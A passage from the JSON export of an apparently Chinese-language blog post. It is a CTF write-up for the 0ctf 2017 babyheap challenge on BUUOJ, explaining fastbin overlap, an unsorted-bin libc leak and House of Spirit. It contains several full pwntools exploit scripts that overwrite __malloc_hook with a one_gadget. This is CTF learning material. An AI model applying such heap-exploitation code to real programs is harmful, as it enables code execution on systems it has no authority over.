pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\npayload=p64(0)*3\npayload+=p8(0x21)\nfill(3,len(payload),payload)\nallocate(0x10)\nallocate(0x10)\n\npayload=p64(0)*3\npayload+=p8(0x91)\nfill(3,len(payload),payload)\nallocate(0x80)\nfree(4)\ntiaoshi()\n\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6295\u964d\u4e86\uff0c\u539f\u56e0\u5e94\u8be5\u662f\u6211\u4eec\u624b\u91cc\u7684 libc.so \u662f strip \u8fc7\u7684\u53d1\u884c\u7248\uff0c\u7b26\u53f7\u8868\u91cc\u6ca1\u6709 main_arena \u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u6240\u4ee5 libc.sym[‘main_arena’] \u62a5\u9519\u3002<\/p>\n\n\n\n
\u884c\u5427\uff0c\u6309\u7167libc-2.23.so\u4e3b\u6d41\u7684\u504f\u79fb\u6765\u624b\u52a8\u8ba1\u7b97\uff1a<\/p>\n\n\n\n
off_unstoredbin=0x58\n#off_arena=libc.symbols['main_arena']\noff_arena=0x3c4b20 \ndump(2)\np.recvline(2)\nleak=u64(p.recv(8))\nprint(hex(leak))\nlibc_base=leak-off_unstoredbin-off_arena\nprint(hex(libc_base))\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ok\u554a\u5b69\u5b50\u4eec\uff0c\u7ee7\u7eed\u505a\u5427\uff0c\u6298\u817e\u4e86\u597d\u4e45\u4e86<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u76ee\u6807\uff1a\u4fee\u6539__malloc_hook\u4e3aone_gadget\u7684\u5730\u5740\uff0c\u5229\u7528House Of Spirit<\/p>\n\n\n\n
\u7b80\u5355\u7684\u770b\u770b\u8fd9\u4e2a\u624b\u6bb5\u539f\u7406\uff1a<\/p>\n\n\n\n
House of Spirit \u662f\u4e00\u79cd\u300c\u4f2a\u9020\u4efb\u610f\u5730\u5740\u5806\u5757 \u2192 \u628a\u5b83 free \u8fdb fastbin\/tcache \u2192 \u518d malloc \u62ff\u56de\u300d\u7684\u7ec4\u5408\u578b\u5806\u5229\u7528\u6280\u5de7\uff0c\u6838\u5fc3\u76ee\u7684\u662f\uff1a<\/strong><\/p>\n\n\n\n
\u8ba9 malloc() \u628a chunk \u5206\u914d\u5230\u653b\u51fb\u8005\u5df2\u63a7\u7684\u4efb\u610f\u5185\u5b58\uff08\u6808\/BSS\/\u5806\u5168\u5c40\u533a\u2026\uff09\uff0c\u4ece\u800c\u5bf9\u8be5\u533a\u57df\u5b9e\u73b0\u4efb\u610f\u5199\u3002<\/strong><\/p>\n\n\n\n
\u4e00\u3001\u524d\u7f6e\u6761\u4ef6\uff08\u5fc5\u987b\u540c\u65f6\u6ee1\u8db3\uff09<\/strong><\/p>\n\n\n\n
1.\u80fd\u6ea2\u51fa\/\u7be1\u6539\u4e00\u4e2a\u6307\u9488\uff0c\u4f7f\u5176\u6307\u5411\u653b\u51fb\u8005\u53ef\u63a7\u533a\u57df\uff08\u6808\u6570\u7ec4\u3001\u5168\u5c40\u6570\u7ec4\u3001bss \u7b49\uff09\u3002<\/strong><\/p>\n\n\n\n
2.\u5728\u8be5\u533a\u57df\u80fd\u624b\u5de5\u62fc\u51fa\u5408\u6cd5\u7684 chunk \u5934\uff08size\u3001next-chunk \u5934\uff09\u3002<\/strong><\/p>\n\n\n\n
3.\u5b58\u5728 free(\u4efb\u610f\u6307\u9488) \u7684\u8def\u5f84\uff0c\u4e14\u5927\u5c0f\u843d\u5728 fastbin\uff080x20-0x80\uff09\u6216 tcache \u8303\u56f4\u3002<\/strong><\/p>\n\n\n\n
4.\u540e\u7eed\u8fd8\u80fd \u518d\u6b21 malloc(\u540c\u5927\u5c0f)\uff0c\u628a\u4f2a\u9020\u5757\u53d6\u56de\u3002<\/strong><\/p>\n\n\n\n

\u4e5f\u5c31\u662f\u6211\u4eec\u8fd8\u9700\u8981\u5728fastbin\u4e2d\u653e\u5165chunk\uff0c\u6211\u4eec\u9700\u8981\u5728__malloc_hook\u9644\u8fd1\u521b\u5efachunk\uff0c\u6700\u540e\u8981\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\u5165\uff0c\u5176\u5b9e\u8fd9\u91cc\u4e0d\u592a\u6e05\u695a\uff0c\u56e0\u4e3a\u6211\u4eec\u8981\u5728\u5b83\u7684\u9644\u8fd1\u4f2a\u9020\u4e00\u4e2achunk\u5934\uff0c\u7528\u6765\u63a7\u5236\u6211\u4eec\u521b\u5efachunk\u7684\u5927\u5c0f<\/p>\n\n\n\n
glibc-all-in-one\u5b9e\u5728\u4e0b\u8f7d\u4e0d\u4e86\u76f4\u63a5\u53bb<\/p>\n\n\n\n
https:\/\/mirror.tuna.tsinghua.edu.cn\/ubuntu\/pool\/main\/g\/glibc<\/a><\/p>\n\n\n\n
\u4e0b\u8f7dlibc6-dbg_*.deb\u7cfb\u5217\u628a\uff0c\u4e0d\u7136\u8c03\u8bd5\u786e\u5b9e\u5750\u7262<\/p>\n\n\n\n
\u8c03\u8bd5\u4e00\u4e0b\u6216\u8bb8\u66f4\u6e05\u6670\uff0c\u4f46\u662f\u6211\u7684\u7a0b\u5e8f\u7684ld-2.23.so\u6302\u8f7d\u4e0d\u4e0a\u53bb\u4e86\uff0c\u6240\u4ee5\u8fd9\u91cc\u6ca1\u529e\u6cd5\u505a\u4e86\uff0c\u7ee7\u7eed\u5427\uff0c<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",28996)\nelf=ELF(\".\/babyheap_0ctf_2017\")\nlibc=ELF(\".\/libc-2.23.so\")\n\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",content)\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\npayload=p64(0)*3\npayload+=p8(0x21)\nfill(3,len(payload),payload)\nallocate(0x10)\nallocate(0x10)\n\npayload=p64(0)*3\npayload+=p8(0x91)\nfill(3,len(payload),payload)\nallocate(0x80)\nfree(4)\ntiaoshi()\np.interactive()<\/code><\/pre>\n\n\n\n

\u7528\u8fd9\u4e2a\u7136\u540e\uff1a<\/p>\n\n\n\n
x\/30gx &__malloc_hook-20<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7ed9\u4e00\u4e0b\u8fd9\u4f4d\u5e08\u5085\u7684\u535a\u5ba2<\/p>\n\n\n\n
https:\/\/www.cnblogs.com\/youdiscovered1t\/p\/19109746<\/a><\/p>\n\n\n\n
https:\/\/blog.csdn.net\/qq_41696518\/article\/details\/126677556<\/a><\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u4f2a\u9020chunk\u7684\u5927\u5c0f\u4e3a0x70,\u5f53\u7136\u535a\u5ba2\u4e2d\u7684\u7cbe\u51c6\u5b9a\u4f4d\u662f0x7a\uff080x70\u4e5f\u53ef\u4ee5\uff09<\/p>\n\n\n\n
\u7136\u540e\u6211\u4eec\u8c03\u8bd5\u627e\u5230\u8fd9\u4e2achunk\u7684\u5730\u5740\uff1a0x7a01d664eaed,\u8ba1\u7b97\u4e0e0x7a01d628a000\u4e4b\u95f4\u7684\u504f\u79fb\u4e3a0x3c4aed<\/p>\n\n\n\n
\u627eone_gadget<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6211\u5199\u7684\u8fd9\u4e2a\u6253\u4e0d\u901a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\n#p=process(\".\/babyheap_0ctf_2017\")\np=remote(\"node5.buuoj.cn\",28820)\nlibc=ELF(\"\/home\/faetong\/glibc-all-in-one\/libs\/2.23-0ubuntu11.3_amd64\/libc-2.23.so\")\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n\tp.recvuntil(\"Command: \")\n\tp.sendline(str(2))\n\tp.recvuntil(\"Index: \")\n\tp.sendline(str(index))\n\tp.recvuntil(\"Size: \")\n\tp.sendline(str(size))\n\tp.recvuntil(\"Content: \")\n\tp.sendline(content)\n\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\npayload=p64(0)*3\npayload+=p8(0x21)\nfill(3,len(payload),payload)\nallocate(0x10)\nallocate(0x10)\n\npayload=p64(0)*3\npayload+=p8(0x91)\nfill(3,len(payload),payload)\nallocate(0x80)\nfree(4)\ndump(2)\n#tiaoshi()\n\noff_unstoredbin=0x58\n#off_arena=libc.symbols['main_arena']\noff_arena=0x3c4b20 \np.recvline(2)\nleak=u64(p.recv(8))\nprint(hex(leak))\nlibc_base=leak-off_unstoredbin-off_arena\nprint(hex(libc_base))\n\nallocate(0x60)\nfree(4)#fastbin\n#fd\npayload=p64(libc_base+0x3a4ead)\nfill(2,len(payload),payload)\n\n#fake chunk\nallocate(0x60)\nallocate(0x60)\n\npayload=p8(0)*3\npayload+=p64(0)*2\npayload+=p64(libc_base+0x4526a)#one_gadget\nfill(6,len(payload),payload)\n\nallocate(225)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u505a\u4e86\u597d\u4e45\uff0c\u7ec8\u4e8e\u62ff\u5230flag\u4e86\uff0cTAT…<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001linkctf_2018.7_babypie\u5206\u6790 \u6709\u4e00\u4e2a\u8f93\u5165\uff0c64\u4f4d\u5f00\u4e86NX\uff0ccanary,pie,\u53ea\u80fd\u53bb […]<\/p>\n","protected":false},"author":1,"featured_media":687,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-653","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/653","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=653"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/653\/revisions"}],"predecessor-version":[{"id":688,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/653\/revisions\/688"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/687"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=653"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=653"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=653"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}